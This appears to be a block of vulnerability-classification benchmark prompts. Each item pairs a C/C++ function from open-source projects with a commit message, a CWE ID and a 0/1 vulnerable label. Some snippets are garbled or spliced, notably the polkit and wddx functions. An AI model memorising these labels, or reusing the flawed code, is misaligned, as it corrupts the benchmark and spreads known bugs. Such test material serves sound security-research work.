val & SOF_TIMESTAMPING_TX_HARDWARE);
sock_valbool_flag(sk, SOCK_TIMESTAMPING_TX_SOFTWARE,
val & SOF_TIMESTAMPING_TX_SOFTWARE);
sock_valbool_flag(sk, SOCK_TIMESTAMPING_RX_HARDWARE,
val & SOF_TIMESTAMPING_RX_HARDWARE);
if (val & SOF_TIMESTAMPING_RX_SOFTWARE)
sock_enable_timestamp(sk,
SOCK_TIMESTAMPING_RX_SOFTWARE);
else
sock_disable_timestamp(sk,
(1UL << SOCK_TIMESTAMPING_RX_SOFTWARE));
sock_valbool_flag(sk, SOCK_TIMESTAMPING_SOFTWARE,
val & SOF_TIMESTAMPING_SOFTWARE);
sock_valbool_flag(sk, SOCK_TIMESTAMPING_SYS_HARDWARE,
val & SOF_TIMESTAMPING_SYS_HARDWARE);
sock_valbool_flag(sk, SOCK_TIMESTAMPING_RAW_HARDWARE,
val & SOF_TIMESTAMPING_RAW_HARDWARE);
break;
case SO_RCVLOWAT:
if (val < 0)
val = INT_MAX;
sk->sk_rcvlowat = val ? : 1;
break;
case SO_RCVTIMEO:
ret = sock_set_timeout(&sk->sk_rcvtimeo, optval, optlen);
break;
case SO_SNDTIMEO:
ret = sock_set_timeout(&sk->sk_sndtimeo, optval, optlen);
break;
case SO_ATTACH_FILTER:
ret = -EINVAL;
if (optlen == sizeof(struct sock_fprog)) {
struct sock_fprog fprog;
ret = -EFAULT;
if (copy_from_user(&fprog, optval, sizeof(fprog)))
break;
ret = sk_attach_filter(&fprog, sk);
}
break;
case SO_DETACH_FILTER:
ret = sk_detach_filter(sk);
break;
case SO_PASSSEC:
if (valbool)
set_bit(SOCK_PASSSEC, &sock->flags);
else
clear_bit(SOCK_PASSSEC, &sock->flags);
break;
case SO_MARK:
if (!capable(CAP_NET_ADMIN))
ret = -EPERM;
else
sk->sk_mark = val;
break;
/* We implement the SO_SNDLOWAT etc to
not be settable (1003.1g 5.3) */
case SO_RXQ_OVFL:
sock_valbool_flag(sk, SOCK_RXQ_OVFL, valbool);
break;
case SO_WIFI_STATUS:
sock_valbool_flag(sk, SOCK_WIFI_STATUS, valbool);
break;
case SO_PEEK_OFF:
if (sock->ops->set_peek_off)
sock->ops->set_peek_off(sk, val);
else
ret = -EOPNOTSUPP;
break;
case SO_NOFCS:
sock_valbool_flag(sk, SOCK_NOFCS, valbool);
break;
default:
ret = -ENOPROTOOPT;
break;
}
release_sock(sk);
return ret;
}
Commit Message: net: guard tcp_set_keepalive() to tcp sockets
Its possible to use RAW sockets to get a crash in
tcp_set_keepalive() / sk_reset_timer()
Fix is to make sure socket is a SOCK_STREAM one.
Reported-by: Dave Jones <[email protected]>
Signed-off-by: Eric Dumazet <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
CWE ID: CWE-264
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static void spl_ptr_heap_insert(spl_ptr_heap *heap, spl_ptr_heap_element elem, void *cmp_userdata TSRMLS_DC) { /* {{{ */
int i;
if (heap->count+1 > heap->max_size) {
/* we need to allocate more memory */
heap->elements = (void **) safe_erealloc(heap->elements, sizeof(spl_ptr_heap_element), (heap->max_size), (sizeof(spl_ptr_heap_element) * (heap->max_size)));
heap->max_size *= 2;
}
heap->ctor(elem TSRMLS_CC);
/* sifting up */
for(i = heap->count++; i > 0 && heap->cmp(heap->elements[(i-1)/2], elem, cmp_userdata TSRMLS_CC) < 0; i = (i-1)/2) {
heap->elements[i] = heap->elements[(i-1)/2];
}
if (EG(exception)) {
/* exception thrown during comparison */
}
heap->elements[i] = elem;
}
/* }}} */
Commit Message:
CWE ID:
Target: 1
Example 2:
Code: DialogNotification::DialogNotification(Type type,
const base::string16& display_text)
: type_(type),
display_text_(display_text),
checked_(false) {
std::vector<base::string16> pieces;
base::SplitStringDontTrim(display_text, kRangeSeparator, &pieces);
if (pieces.size() > 1) {
size_t start = pieces[0].size();
size_t end = start + pieces[1].size();
link_range_ = gfx::Range(start, end);
display_text_ = JoinString(pieces, base::string16());
}
}
Commit Message: Clear out some minor TODOs.
BUG=none
Review URL: https://codereview.chromium.org/1047063002
Cr-Commit-Position: refs/heads/master@{#322959}
CWE ID: CWE-20
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: PHP_FUNCTION(mcrypt_module_get_algo_block_size)
{
MCRYPT_GET_MODE_DIR_ARGS(algorithms_dir)
RETURN_LONG(mcrypt_module_get_algo_block_size(module, dir));
}
Commit Message: Fix bug #72455: Heap Overflow due to integer overflows
CWE ID: CWE-190
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: grub_ext2_iterate_dir (grub_fshelp_node_t dir,
int (*hook) (const char *filename,
enum grub_fshelp_filetype filetype,
grub_fshelp_node_t node,
void *closure),
void *closure)
{
unsigned int fpos = 0;
struct grub_fshelp_node *diro = (struct grub_fshelp_node *) dir;
if (! diro->inode_read)
{
grub_ext2_read_inode (diro->data, diro->ino, &diro->inode);
if (grub_errno)
return 0;
}
/* Search the file. */
if (hook)
while (fpos < grub_le_to_cpu32 (diro->inode.size))
{
struct ext2_dirent dirent;
grub_ext2_read_file (diro, NULL, NULL, 0, fpos, sizeof (dirent),
(char *) &dirent);
if (grub_errno)
return 0;
if (dirent.direntlen == 0)
return 0;
if (dirent.namelen != 0)
{
#ifndef _MSC_VER
char filename[dirent.namelen + 1];
#else
char * filename = grub_malloc (dirent.namelen + 1);
#endif
struct grub_fshelp_node *fdiro;
enum grub_fshelp_filetype type = GRUB_FSHELP_UNKNOWN;
grub_ext2_read_file (diro, 0, 0, 0,
fpos + sizeof (struct ext2_dirent),
dirent.namelen, filename);
if (grub_errno)
return 0;
fdiro = grub_malloc (sizeof (struct grub_fshelp_node));
if (! fdiro)
return 0;
fdiro->data = diro->data;
fdiro->ino = grub_le_to_cpu32 (dirent.inode);
filename[dirent.namelen] = '\0';
if (dirent.filetype != FILETYPE_UNKNOWN)
{
fdiro->inode_read = 0;
if (dirent.filetype == FILETYPE_DIRECTORY)
type = GRUB_FSHELP_DIR;
else if (dirent.filetype == FILETYPE_SYMLINK)
type = GRUB_FSHELP_SYMLINK;
else if (dirent.filetype == FILETYPE_REG)
type = GRUB_FSHELP_REG;
}
else
{
/* The filetype can not be read from the dirent, read
the inode to get more information. */
grub_ext2_read_inode (diro->data,
grub_le_to_cpu32 (dirent.inode),
&fdiro->inode);
if (grub_errno)
{
grub_free (fdiro);
return 0;
}
fdiro->inode_read = 1;
if ((grub_le_to_cpu16 (fdiro->inode.mode)
& FILETYPE_INO_MASK) == FILETYPE_INO_DIRECTORY)
type = GRUB_FSHELP_DIR;
else if ((grub_le_to_cpu16 (fdiro->inode.mode)
& FILETYPE_INO_MASK) == FILETYPE_INO_SYMLINK)
type = GRUB_FSHELP_SYMLINK;
else if ((grub_le_to_cpu16 (fdiro->inode.mode)
& FILETYPE_INO_MASK) == FILETYPE_INO_REG)
type = GRUB_FSHELP_REG;
}
if (hook (filename, type, fdiro, closure))
return 1;
}
fpos += grub_le_to_cpu16 (dirent.direntlen);
}
return 0;
}
Commit Message: Fix ext2 buffer overflow in r2_sbu_grub_memmove
CWE ID: CWE-787
Target: 1
Example 2:
Code: void Histogram::WriteHTMLGraph(std::string* output) const {
output->append("<PRE>");
WriteAsciiImpl(true, "<br>", output);
output->append("</PRE>");
}
Commit Message: Convert DCHECKs to CHECKs for histogram types
When a histogram is looked up by name, there is currently a DCHECK that
verifies the type of the stored histogram matches the expected type.
A mismatch represents a significant problem because the returned
HistogramBase is cast to a Histogram in ValidateRangeChecksum,
potentially causing a crash.
This CL converts the DCHECK to a CHECK to prevent the possibility of
type confusion in release builds.
BUG=651443
[email protected]
Review-Url: https://codereview.chromium.org/2381893003
Cr-Commit-Position: refs/heads/master@{#421929}
CWE ID: CWE-476
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: PHP_FUNCTION(mcrypt_get_key_size)
{
char *cipher;
char *module;
int cipher_len, module_len;
char *cipher_dir_string;
char *module_dir_string;
MCRYPT td;
MCRYPT_GET_INI
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss",
&cipher, &cipher_len, &module, &module_len) == FAILURE) {
return;
}
td = mcrypt_module_open(cipher, cipher_dir_string, module, module_dir_string);
if (td != MCRYPT_FAILED) {
RETVAL_LONG(mcrypt_enc_get_key_size(td));
mcrypt_module_close(td);
} else {
php_error_docref(NULL TSRMLS_CC, E_WARNING, MCRYPT_OPEN_MODULE_FAILED);
RETURN_FALSE;
}
}
Commit Message: Fix bug #72455: Heap Overflow due to integer overflows
CWE ID: CWE-190
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: void ClipboardMessageFilter::OnWriteObjectsSync(
const ui::Clipboard::ObjectMap& objects,
base::SharedMemoryHandle bitmap_handle) {
DCHECK(base::SharedMemory::IsHandleValid(bitmap_handle))
<< "Bad bitmap handle";
scoped_ptr<ui::Clipboard::ObjectMap> long_living_objects(
new ui::Clipboard::ObjectMap(objects));
if (!ui::Clipboard::ReplaceSharedMemHandle(
long_living_objects.get(), bitmap_handle, PeerHandle()))
return;
BrowserThread::PostTask(
BrowserThread::UI,
FROM_HERE,
base::Bind(&WriteObjectsOnUIThread,
base::Owned(long_living_objects.release())));
}
Commit Message: Refactor ui::Clipboard::ObjectMap sanitization in ClipboardMsgFilter.
BUG=352395
[email protected]
[email protected]
Review URL: https://codereview.chromium.org/200523004
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@257164 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20
Target: 1
Example 2:
Code: void hci_sock_dev_event(struct hci_dev *hdev, int event)
{
struct hci_ev_si_device ev;
BT_DBG("hdev %s event %d", hdev->name, event);
/* Send event to monitor */
if (atomic_read(&monitor_promisc)) {
struct sk_buff *skb;
skb = create_monitor_event(hdev, event);
if (skb) {
send_monitor_event(skb);
kfree_skb(skb);
}
}
/* Send event to sockets */
ev.event = event;
ev.dev_id = hdev->id;
hci_si_event(NULL, HCI_EV_SI_DEVICE, sizeof(ev), &ev);
if (event == HCI_DEV_UNREG) {
struct sock *sk;
/* Detach sockets from device */
read_lock(&hci_sk_list.lock);
sk_for_each(sk, &hci_sk_list.head) {
bh_lock_sock_nested(sk);
if (hci_pi(sk)->hdev == hdev) {
hci_pi(sk)->hdev = NULL;
sk->sk_err = EPIPE;
sk->sk_state = BT_OPEN;
sk->sk_state_change(sk);
hci_dev_put(hdev);
}
bh_unlock_sock(sk);
}
read_unlock(&hci_sk_list.lock);
}
}
Commit Message: net: rework recvmsg handler msg_name and msg_namelen logic
This patch now always passes msg->msg_namelen as 0. recvmsg handlers must
set msg_namelen to the proper size <= sizeof(struct sockaddr_storage)
to return msg_name to the user.
This prevents numerous uninitialized memory leaks we had in the
recvmsg handlers and makes it harder for new code to accidentally leak
uninitialized memory.
Optimize for the case recvfrom is called with NULL as address. We don't
need to copy the address at all, so set it to NULL before invoking the
recvmsg handler. We can do so, because all the recvmsg handlers must
cope with the case a plain read() is called on them. read() also sets
msg_name to NULL.
Also document these changes in include/linux/net.h as suggested by David
Miller.
Changes since RFC:
Set msg->msg_name = NULL if user specified a NULL in msg_name but had a
non-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't
affect sendto as it would bail out earlier while trying to copy-in the
address. It also more naturally reflects the logic by the callers of
verify_iovec.
With this change in place I could remove "
if (!uaddr || msg_sys->msg_namelen == 0)
msg->msg_name = NULL
".
This change does not alter the user visible error logic as we ignore
msg_namelen as long as msg_name is NULL.
Also remove two unnecessary curly brackets in ___sys_recvmsg and change
comments to netdev style.
Cc: David Miller <[email protected]>
Suggested-by: Eric Dumazet <[email protected]>
Signed-off-by: Hannes Frederic Sowa <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
CWE ID: CWE-20
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: polkit_backend_session_monitor_get_user_for_subject (PolkitBackendSessionMonitor *monitor,
PolkitSubject *subject,
GError **error)
{
PolkitIdentity *ret;
guint32 uid;
ret = NULL;
if (POLKIT_IS_UNIX_PROCESS (subject))
{
uid = polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject));
if ((gint) uid == -1)
{
g_set_error (error,
POLKIT_ERROR,
g_set_error (error,
"Unix process subject does not have uid set");
goto out;
}
ret = polkit_unix_user_new (uid);
}
else if (POLKIT_IS_SYSTEM_BUS_NAME (subject))
{
ret = (PolkitIdentity*)polkit_system_bus_name_get_user_sync (POLKIT_SYSTEM_BUS_NAME (subject), NULL, error);
}
else if (POLKIT_IS_UNIX_SESSION (subject))
{
if (sd_session_get_uid (polkit_unix_session_get_session_id (POLKIT_UNIX_SESSION (subject)), &uid) < 0)
{
polkit_backend_session_monitor_get_session_for_subject (PolkitBackendSessionMonitor *monitor,
PolkitSubject *subject,
GError **error)
{
PolkitUnixProcess *tmp_process = NULL;
}
ret = polkit_unix_user_new (uid);
}
out:
return ret;
}
if (!tmp_process)
goto out;
process = tmp_process;
}
Commit Message:
CWE ID: CWE-200
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: void WT_VoiceGain (S_WT_VOICE *pWTVoice, S_WT_INT_FRAME *pWTIntFrame)
{
EAS_I32 *pMixBuffer;
EAS_PCM *pInputBuffer;
EAS_I32 gain;
EAS_I32 gainIncrement;
EAS_I32 tmp0;
EAS_I32 tmp1;
EAS_I32 tmp2;
EAS_I32 numSamples;
#if (NUM_OUTPUT_CHANNELS == 2)
EAS_I32 gainLeft, gainRight;
#endif
/* initialize some local variables */
numSamples = pWTIntFrame->numSamples;
pMixBuffer = pWTIntFrame->pMixBuffer;
pInputBuffer = pWTIntFrame->pAudioBuffer;
/*lint -e{703} <avoid multiply for performance>*/
gainIncrement = (pWTIntFrame->frame.gainTarget - pWTIntFrame->prevGain) << (16 - SYNTH_UPDATE_PERIOD_IN_BITS);
if (gainIncrement < 0)
gainIncrement++;
/*lint -e{703} <avoid multiply for performance>*/
gain = pWTIntFrame->prevGain << 16;
#if (NUM_OUTPUT_CHANNELS == 2)
gainLeft = pWTVoice->gainLeft;
gainRight = pWTVoice->gainRight;
#endif
while (numSamples--) {
/* incremental gain step to prevent zipper noise */
tmp0 = *pInputBuffer++;
gain += gainIncrement;
/*lint -e{704} <avoid divide>*/
tmp2 = gain >> 16;
/* scale sample by gain */
tmp2 *= tmp0;
/* stereo output */
#if (NUM_OUTPUT_CHANNELS == 2)
/*lint -e{704} <avoid divide>*/
tmp2 = tmp2 >> 14;
/* get the current sample in the final mix buffer */
tmp1 = *pMixBuffer;
/* left channel */
tmp0 = tmp2 * gainLeft;
/*lint -e{704} <avoid divide>*/
tmp0 = tmp0 >> NUM_MIXER_GUARD_BITS;
tmp1 += tmp0;
*pMixBuffer++ = tmp1;
/* get the current sample in the final mix buffer */
tmp1 = *pMixBuffer;
/* right channel */
tmp0 = tmp2 * gainRight;
/*lint -e{704} <avoid divide>*/
tmp0 = tmp0 >> NUM_MIXER_GUARD_BITS;
tmp1 += tmp0;
*pMixBuffer++ = tmp1;
/* mono output */
#else
/* get the current sample in the final mix buffer */
tmp1 = *pMixBuffer;
/*lint -e{704} <avoid divide>*/
tmp2 = tmp2 >> (NUM_MIXER_GUARD_BITS - 1);
tmp1 += tmp2;
*pMixBuffer++ = tmp1;
#endif
}
}
Commit Message: Sonivox: sanity check numSamples.
Bug: 26366256
Change-Id: I066888c25035ea4c60c88f316db4508dc4dab6bc
CWE ID: CWE-119
Target: 1
Example 2:
Code: void WebRuntimeFeatures::EnableScriptedSpeech(bool enable) {
RuntimeEnabledFeatures::SetScriptedSpeechEnabled(enable);
}
Commit Message: Remove RequireCSSExtensionForFile runtime enabled flag.
The feature has long since been stable (since M64) and doesn't seem
to be a need for this flag.
BUG=788936
Change-Id: I666390b869289c328acb4a2daa5bf4154e1702c0
Reviewed-on: https://chromium-review.googlesource.com/c/1324143
Reviewed-by: Mike West <[email protected]>
Reviewed-by: Camille Lamy <[email protected]>
Commit-Queue: Dave Tapuska <[email protected]>
Cr-Commit-Position: refs/heads/master@{#607329}
CWE ID: CWE-254
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static int cxusb_lgh064f_tuner_attach(struct dvb_usb_adapter *adap)
{
dvb_attach(simple_tuner_attach, adap->fe_adap[0].fe,
&adap->dev->i2c_adap, 0x61, TUNER_LG_TDVS_H06XF);
return 0;
}
Commit Message: [media] cxusb: Use a dma capable buffer also for reading
Commit 17ce039b4e54 ("[media] cxusb: don't do DMA on stack")
added a kmalloc'ed bounce buffer for writes, but missed to do the same
for reads. As the read only happens after the write is finished, we can
reuse the same buffer.
As dvb_usb_generic_rw handles a read length of 0 by itself, avoid calling
it using the dvb_usb_generic_read wrapper function.
Signed-off-by: Stefan Brüns <[email protected]>
Signed-off-by: Mauro Carvalho Chehab <[email protected]>
CWE ID: CWE-119
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: int ASN1_item_verify(const ASN1_ITEM *it, X509_ALGOR *a, ASN1_BIT_STRING *signature,
void *asn, EVP_PKEY *pkey)
{
EVP_MD_CTX ctx;
const EVP_MD *type = NULL;
unsigned char *buf_in=NULL;
int ret= -1,inl;
int mdnid, pknid;
EVP_MD_CTX_init(&ctx);
/* Convert signature OID into digest and public key OIDs */
if (type == NULL)
{
ASN1err(ASN1_F_ASN1_ITEM_VERIFY,ASN1_R_UNKNOWN_MESSAGE_DIGEST_ALGORITHM);
goto err;
}
/* Check public key OID matches public key type */
if (EVP_PKEY_type(pknid) != pkey->ameth->pkey_id)
{
ASN1err(ASN1_F_ASN1_ITEM_VERIFY,ASN1_R_WRONG_PUBLIC_KEY_TYPE);
goto err;
}
if (!EVP_VerifyInit_ex(&ctx,type, NULL))
{
ASN1err(ASN1_F_ASN1_ITEM_VERIFY,ERR_R_EVP_LIB);
ret=0;
goto err;
}
inl = ASN1_item_i2d(asn, &buf_in, it);
if (buf_in == NULL)
{
ASN1err(ASN1_F_ASN1_ITEM_VERIFY,ERR_R_MALLOC_FAILURE);
goto err;
}
EVP_VerifyUpdate(&ctx,(unsigned char *)buf_in,inl);
OPENSSL_cleanse(buf_in,(unsigned int)inl);
OPENSSL_free(buf_in);
if (EVP_VerifyFinal(&ctx,(unsigned char *)signature->data,
(unsigned int)signature->length,pkey) <= 0)
{
ASN1err(ASN1_F_ASN1_ITEM_VERIFY,ERR_R_EVP_LIB);
ret=0;
goto err;
}
/* we don't need to zero the 'ctx' because we just checked
* public information */
/* memset(&ctx,0,sizeof(ctx)); */
ret=1;
err:
EVP_MD_CTX_cleanup(&ctx);
return(ret);
}
Commit Message:
CWE ID: CWE-310
Target: 1
Example 2:
Code: static int mov_read_stps(MOVContext *c, AVIOContext *pb, MOVAtom atom)
{
AVStream *st;
MOVStreamContext *sc;
unsigned i, entries;
if (c->fc->nb_streams < 1)
return 0;
st = c->fc->streams[c->fc->nb_streams-1];
sc = st->priv_data;
avio_rb32(pb); // version + flags
entries = avio_rb32(pb);
if (entries >= UINT_MAX / sizeof(*sc->stps_data))
return AVERROR_INVALIDDATA;
sc->stps_data = av_malloc(entries * sizeof(*sc->stps_data));
if (!sc->stps_data)
return AVERROR(ENOMEM);
sc->stps_count = entries;
for (i = 0; i < entries; i++) {
sc->stps_data[i] = avio_rb32(pb);
}
return 0;
}
Commit Message: mov: reset dref_count on realloc to keep values consistent.
This fixes a potential crash.
Signed-off-by: Michael Niedermayer <[email protected]>
CWE ID: CWE-119
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: Block::Lacing Block::GetLacing() const
{
const int value = int(m_flags & 0x06) >> 1;
return static_cast<Lacing>(value);
}
Commit Message: libwebm: Pull from upstream
Rolling mkvparser from upstream. Primarily for fixing a bug on parsing
failures with certain Opus WebM files.
Upstream commit hash of this pull: 574045edd4ecbeb802ee3f1d214b5510269852ae
The diff is so huge because there were some style clean ups upstream.
But it was ensured that there were no breaking changes when the style
clean ups was done upstream.
Change-Id: Ib6e907175484b4b0ae1b55ab39522ea3188ad039
CWE ID: CWE-119
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: _TIFFmalloc(tsize_t s)
{
return (malloc((size_t) s));
}
Commit Message: * libtiff/tif_{unix,vms,win32}.c (_TIFFmalloc): ANSI C does not
require malloc() to return NULL pointer if requested allocation
size is zero. Assure that _TIFFmalloc does.
CWE ID: CWE-369
Target: 1
Example 2:
Code: scoped_refptr<MainThreadTaskQueue> RendererSchedulerImpl::NewTaskQueue(
const MainThreadTaskQueue::QueueCreationParams& params) {
helper_.CheckOnValidThread();
scoped_refptr<MainThreadTaskQueue> task_queue(helper_.NewTaskQueue(params));
std::unique_ptr<TaskQueue::QueueEnabledVoter> voter;
if (params.can_be_blocked || params.can_be_paused || params.can_be_stopped)
voter = task_queue->CreateQueueEnabledVoter();
auto insert_result =
task_runners_.insert(std::make_pair(task_queue, std::move(voter)));
auto queue_class = task_queue->queue_class();
if (queue_class == MainThreadTaskQueue::QueueClass::kTimer) {
task_queue->AddTaskObserver(&main_thread_only().timer_task_cost_estimator);
} else if (queue_class == MainThreadTaskQueue::QueueClass::kLoading) {
task_queue->AddTaskObserver(
&main_thread_only().loading_task_cost_estimator);
}
ApplyTaskQueuePolicy(
task_queue.get(), insert_result.first->second.get(), TaskQueuePolicy(),
main_thread_only().current_policy.GetQueuePolicy(queue_class));
if (task_queue->CanBeThrottled())
AddQueueToWakeUpBudgetPool(task_queue.get());
if (queue_class == MainThreadTaskQueue::QueueClass::kTimer) {
if (main_thread_only().virtual_time_stopped)
task_queue->InsertFence(TaskQueue::InsertFencePosition::kNow);
}
return task_queue;
}
Commit Message: [scheduler] Remove implicit fallthrough in switch
Bail out early when a condition in the switch is fulfilled.
This does not change behaviour due to RemoveTaskObserver being no-op when
the task observer is not present in the list.
[email protected]
Bug: 177475
Change-Id: Ibc7772c79f8a8c8a1d63a997dabe1efda5d3a7bd
Reviewed-on: https://chromium-review.googlesource.com/891187
Reviewed-by: Nico Weber <[email protected]>
Commit-Queue: Alexander Timin <[email protected]>
Cr-Commit-Position: refs/heads/master@{#532649}
CWE ID: CWE-119
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: TabSpecificContentSettings* tab_specific_content_settings() {
return TabSpecificContentSettings::FromWebContents(web_contents());
}
Commit Message: Fix UAF in Origin Info Bubble and permission settings UI.
In addition to fixing the UAF, will this also fix the problem of the bubble
showing over the previous tab (if the bubble is open when the tab it was opened
for closes).
BUG=490492
TBR=tedchoc
Review URL: https://codereview.chromium.org/1317443002
Cr-Commit-Position: refs/heads/master@{#346023}
CWE ID:
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static void php_wddx_pop_element(void *user_data, const XML_Char *name)
{
st_entry *ent1, *ent2;
wddx_stack *stack = (wddx_stack *)user_data;
HashTable *target_hash;
zend_class_entry **pce;
zval *obj;
zval *tmp;
TSRMLS_FETCH();
/* OBJECTS_FIXME */
if (stack->top == 0) {
return;
}
if (!strcmp(name, EL_STRING) || !strcmp(name, EL_NUMBER) ||
!strcmp(name, EL_BOOLEAN) || !strcmp(name, EL_NULL) ||
!strcmp(name, EL_ARRAY) || !strcmp(name, EL_STRUCT) ||
!strcmp(name, EL_RECORDSET) || !strcmp(name, EL_BINARY) ||
!strcmp(name, EL_DATETIME)) {
wddx_stack_top(stack, (void**)&ent1);
if (!strcmp(name, EL_BINARY)) {
int new_len=0;
unsigned char *new_str;
MAKE_STD_ZVAL(fname);
ZVAL_STRING(fname, "__wakeup", 1);
call_user_function_ex(NULL, &ent1->data, fname, &retval, 0, 0, 0, NULL TSRMLS_CC);
zval_dtor(fname);
FREE_ZVAL(fname);
if (retval) {
zval_ptr_dtor(&retval);
}
}
if (stack->top > 1) {
stack->top--;
wddx_stack_top(stack, (void**)&ent2);
/* if non-existent field */
if (ent2->type == ST_FIELD && ent2->data == NULL) {
zval_ptr_dtor(&ent1->data);
efree(ent1);
return;
}
if (Z_TYPE_P(ent2->data) == IS_ARRAY || Z_TYPE_P(ent2->data) == IS_OBJECT) {
target_hash = HASH_OF(ent2->data);
if (ent1->varname) {
if (!strcmp(ent1->varname, PHP_CLASS_NAME_VAR) &&
Z_TYPE_P(ent1->data) == IS_STRING && Z_STRLEN_P(ent1->data) &&
ent2->type == ST_STRUCT && Z_TYPE_P(ent2->data) == IS_ARRAY) {
zend_bool incomplete_class = 0;
zend_str_tolower(Z_STRVAL_P(ent1->data), Z_STRLEN_P(ent1->data));
if (zend_hash_find(EG(class_table), Z_STRVAL_P(ent1->data),
Z_STRLEN_P(ent1->data)+1, (void **) &pce)==FAILURE) {
incomplete_class = 1;
pce = &PHP_IC_ENTRY;
}
/* Initialize target object */
MAKE_STD_ZVAL(obj);
object_init_ex(obj, *pce);
/* Merge current hashtable with object's default properties */
zend_hash_merge(Z_OBJPROP_P(obj),
Z_ARRVAL_P(ent2->data),
(void (*)(void *)) zval_add_ref,
(void *) &tmp, sizeof(zval *), 0);
if (incomplete_class) {
php_store_class_name(obj, Z_STRVAL_P(ent1->data), Z_STRLEN_P(ent1->data));
}
/* Clean up old array entry */
zval_ptr_dtor(&ent2->data);
/* Set stack entry to point to the newly created object */
ent2->data = obj;
/* Clean up class name var entry */
zval_ptr_dtor(&ent1->data);
} else if (Z_TYPE_P(ent2->data) == IS_OBJECT) {
zend_class_entry *old_scope = EG(scope);
EG(scope) = Z_OBJCE_P(ent2->data);
Z_DELREF_P(ent1->data);
add_property_zval(ent2->data, ent1->varname, ent1->data);
EG(scope) = old_scope;
} else {
zend_symtable_update(target_hash, ent1->varname, strlen(ent1->varname)+1, &ent1->data, sizeof(zval *), NULL);
}
efree(ent1->varname);
} else {
zend_hash_next_index_insert(target_hash, &ent1->data, sizeof(zval *), NULL);
}
}
efree(ent1);
} else {
stack->done = 1;
}
} else if (!strcmp(name, EL_VAR) && stack->varname) {
efree(stack->varname);
} else if (!strcmp(name, EL_FIELD)) {
st_entry *ent;
wddx_stack_top(stack, (void **)&ent);
efree(ent);
stack->top--;
}
}
Commit Message:
CWE ID: CWE-119
Target: 1
Example 2:
Code: static int fmt_mp_to_sp(const struct v4l2_format *f_mp,
struct v4l2_format *f_sp)
{
const struct v4l2_pix_format_mplane *pix_mp = &f_mp->fmt.pix_mp;
struct v4l2_pix_format *pix = &f_sp->fmt.pix;
if (f_mp->type == V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE)
f_sp->type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
else if (f_mp->type == V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE)
f_sp->type = V4L2_BUF_TYPE_VIDEO_OUTPUT;
else
return -EINVAL;
pix->width = pix_mp->width;
pix->height = pix_mp->height;
pix->pixelformat = pix_mp->pixelformat;
pix->field = pix_mp->field;
pix->colorspace = pix_mp->colorspace;
pix->sizeimage = pix_mp->plane_fmt[0].sizeimage;
pix->bytesperline = pix_mp->plane_fmt[0].bytesperline;
return 0;
}
Commit Message: [media] v4l: Share code between video_usercopy and video_ioctl2
The two functions are mostly identical. They handle the copy_from_user
and copy_to_user operations related with V4L2 ioctls and call the real
ioctl handler.
Create a __video_usercopy function that implements the core of
video_usercopy and video_ioctl2, and call that function from both.
Signed-off-by: Laurent Pinchart <[email protected]>
Acked-by: Hans Verkuil <[email protected]>
Signed-off-by: Mauro Carvalho Chehab <[email protected]>
CWE ID: CWE-399
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: int jas_matrix_resize(jas_matrix_t *matrix, int numrows, int numcols)
{
int size;
int i;
size = numrows * numcols;
if (size > matrix->datasize_ || numrows > matrix->maxrows_) {
return -1;
}
matrix->numrows_ = numrows;
matrix->numcols_ = numcols;
for (i = 0; i < numrows; ++i) {
matrix->rows_[i] = &matrix->data_[numcols * i];
}
return 0;
}
Commit Message: The generation of the configuration file jas_config.h has been completely
reworked in order to avoid pollution of the global namespace.
Some problematic types like uchar, ulong, and friends have been replaced
with names with a jas_ prefix.
An option max_samples has been added to the BMP and JPEG decoders to
restrict the maximum size of image that they can decode. This change
was made as a (possibly temporary) fix to address security concerns.
A max_samples command-line option has also been added to imginfo.
Whether an image component (for jas_image_t) is stored in memory or on
disk is now based on the component size (rather than the image size).
Some debug log message were added.
